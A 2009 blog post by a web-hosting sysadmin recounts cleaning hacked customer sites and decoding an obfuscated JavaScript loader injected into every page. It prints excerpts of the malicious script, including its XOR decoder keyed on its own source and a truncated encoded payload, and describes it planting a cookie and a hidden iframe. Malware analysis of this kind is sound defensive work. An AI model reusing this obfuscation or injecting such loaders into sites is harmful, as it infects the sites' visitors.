Sunday, August 30, 2009
Down the rabbit hole
So far, three for three. A downed server, a downed data center and now several hacked sites, all on the same server.
I swear, Smirk is never going on vacation again.
Anyway, the following ticket comes in:
Subject: URGENT - XXXXXXXXXXXXXXX - VIRUS alert
Hello support,
When trying to access the site it gives a virus alert and Norton would not let me download the files to clean them.
Are you able to do the cleaning, it seems as it is since December 2008, when the sever was upgraded, it is very strange. I you are able to help cleaning the files, or any other way that you can suggest for the cleaning of them would be very helpful …
Thanks a lot,
XXXXXX
(English is not XXXXXX's first language)
I check the site with no problem, but then again, I'm using Linux and Mac OS X and therefore, I don't use Norton (or any virus checking software) so I'm not going to see an issue. I borrow Bunny's laptop (which does run Windows and has anti-viral software on it) and yes, there's something odd with the site. It refuses to come up, and I can't ping the address the site is on. I can ping the address above and the address below, but not the address the site is on. And the anti-virual software is not saying anything.
Thanks to some help from Gregory, I'm able to see that yes, indeed, the anti-viral software on Bunny's machine caught something and is refusing to load the site. At least now I have somewhere to look. And I don't have to look very far.
At the bottom of the index.html
file is:
<div id='x0499fd3b522511d0bf02ea0f9d3f27f9e'> <script> var jQuery = eval('wPi[n2d[o[w5.5e2v[aflP'.replace(/[\[P5f2]/g, '')); jQuery('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x79\x61...
All on a single line (not broken up like it is here) for about 20K of obfuscated code. And it exists on every HTML and PHP page on not only the site in question, but two other sites as well (it's on a machine dedicated to the one customer and there are about six sites on the server).
There ended up being too many files to clean up by hand, so a bit of coding later, and I have a program to do the cleanup work. And then the fun begins …
The first statement of the malicious code in question ends up being:
var jQuery = eval('window.eval','');
That was easy enough. The next line required some code to decode the sludge of hex numbers into characters. Again, quickly write some code and I end up with:
function yaqD5(jx1h7){function oNLAq(aui){var s429=0;var fyLx=aui.length;var sLc 8=0;while(sLc8<fyLx){s429+=xjv3(aui,sLc8)*fyLx;sLc8++;}return (s429+'');}functio n xjv3(vMAgS,iEI4P){return vMAgS.charCodeAt(iEI4P);} try {var xhFV=eval('a5rMg 5u}m5eMn}t}s5.5cMaQl5lQe>e>'.replace(/[5\}M\>Q]/g, '')),oZAH='';var hDe=0,wTrzNs d=0,zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'');var bkTnW7=oNLAq( zfx0eN);jx1h7=unescape(jx1h7);for(var sFme6r=0; sFme6r < (jx1h7.length); sFme6r+ +){var ynhg=xjv3(zfx0eN,hDe)^xjv3(bkTnW7,wTrzNsd);var wUJNWv=xjv3(jx1h7,sFme6r); hDe++;wTrzNsd++;if(wTrzNsd>bkTnW7.length)wTrzNsd=0;if(hDe>zfx0eN.length)hDe=0;oZ AH+=String.fromCharCode(wUJNWv^ynhg) + '';}eval(oZAH); return oZAH=new String(); }catch(e){}}yaqD5('%32%38%35%37%36%33%35%30%59%27%1e%37%53%2a%31%47%0b%7f%15%65% 72%2f%3f%61%2e%09%29%2d%02%0e%05%04%0e%1d%68%11%32%24%75%6a%7b%7a%33%34%52%69%61 %02%2c%38%29%37%77%09%19%37%3f%26%64%62%33%21%12%18%3e%6f%63%29%7c%70%3b%00%35%3 2%2...
Yet more encoded data, about 4K worth this time. Quick program to decode this sequence of hexadecimal sludge and I get:
28576350Y'7S*1G er/?a. )-h2$uj{z34Ria,8)7w 7?&db3!>oc)|p;nR.}2;l.'ij.3
Obviously the cryptic JavaScript code does some additional massaging on that data. So I clean up the JavaScript code a bit:
function yaqD5(jx1h7) { function oNLAq(aui) { var s429=0; var fyLx=aui.length; var sLc8=0; while(sLc8<fyLx) { s429 += xjv3(aui,sLc8)*fyLx; sLc8++; } return (s429+''); } function xjv3(vMAgS,iEI4P) { return vMAgS.charCodeAt(iEI4P); } try { var xhFV=eval('a5rMg5u}m5eMn}t}s5.5cMaQl5lQe>e>'.replace(/[5\}M\>Q]/g, '')),oZAH=''; var hDe=0,wTrzNsd=0,zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,''); var bkTnW7=oNLAq(zfx0eN); jx1h7=unescape(jx1h7); for(var sFme6r=0; sFme6r < (jx1h7.length); sFme6r++) { var ynhg=xjv3(zfx0eN,hDe)^xjv3(bkTnW7,wTrzNsd); var wUJNWv=xjv3(jx1h7,sFme6r); hDe++; wTrzNsd++; if(wTrzNsd>bkTnW7.length) wTrzNsd=0; if(hDe>zfx0eN.length) hDe=0; oZAH+=String.fromCharCode(wUJNWv^ynhg) + ''; } eval(oZAH); return oZAH=new String(); } catch(e){} } yaqD5('%32%38%35 ... [some 4,000 characters later ] ... %31%32');
Okay, it converts the hexadecimal sludge to binary data, then does something to it and finally evaluates the resulting data as JavaScript. I rewrite this a bit so that instead of evaluating the resulting string it prints the results out and I get:
f{lcvmhl tYDQt~DQHA&+{ sUFQxxCQLF,pravov}wg =.ycmklkeN ...
That certainly doesn't look like valid JavaScript to me. Okay, let's clean up some of the code a bit more (and only showing the relevant bits):
xhFV = eval('arguments.callee','') zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'')
From single stepping this (Firebug is great for this type of thing)
it appears that arguments.callee
returns the actual function,
with parameters, being called, and placed into xhFV
, and then
zfx0eN
is the source code of the function being called (in this
case, yadD5()
), but the source code is the actual string
representation as it appears in the HTML file! And this string was being used to
transform the binary sludge into JavaScript.
So no wonder I was getting garbage, because I changed the source code!
Sheesh.
Once I use the actual source code as the “decryption key” I
finally reach the bottom of this particular rabbit hole. The
code (which still has code like
s='<Eh]t;mElu>;<]b]o]dEy]>]'.replace(/[;\]rEu]/g,
'')
but that's about it) sets a cookie, then makes an invisible
IFRAME
which pulls a page (from a non-working site) that
presumedly contains even nastier code yet.
I wasn't fond of dynamic languages before tonight's little trip, and
afterwards, I like them even less. I'm fully aware that I might be
overreacting here, wanting to toss out eval()
with the
JavaScript bathwater, but I seriously can't see what benefit
comes with allowing unrestricted use of eval()
in browser-based
JavaScript engines.
Perhaps someone can enlighten me.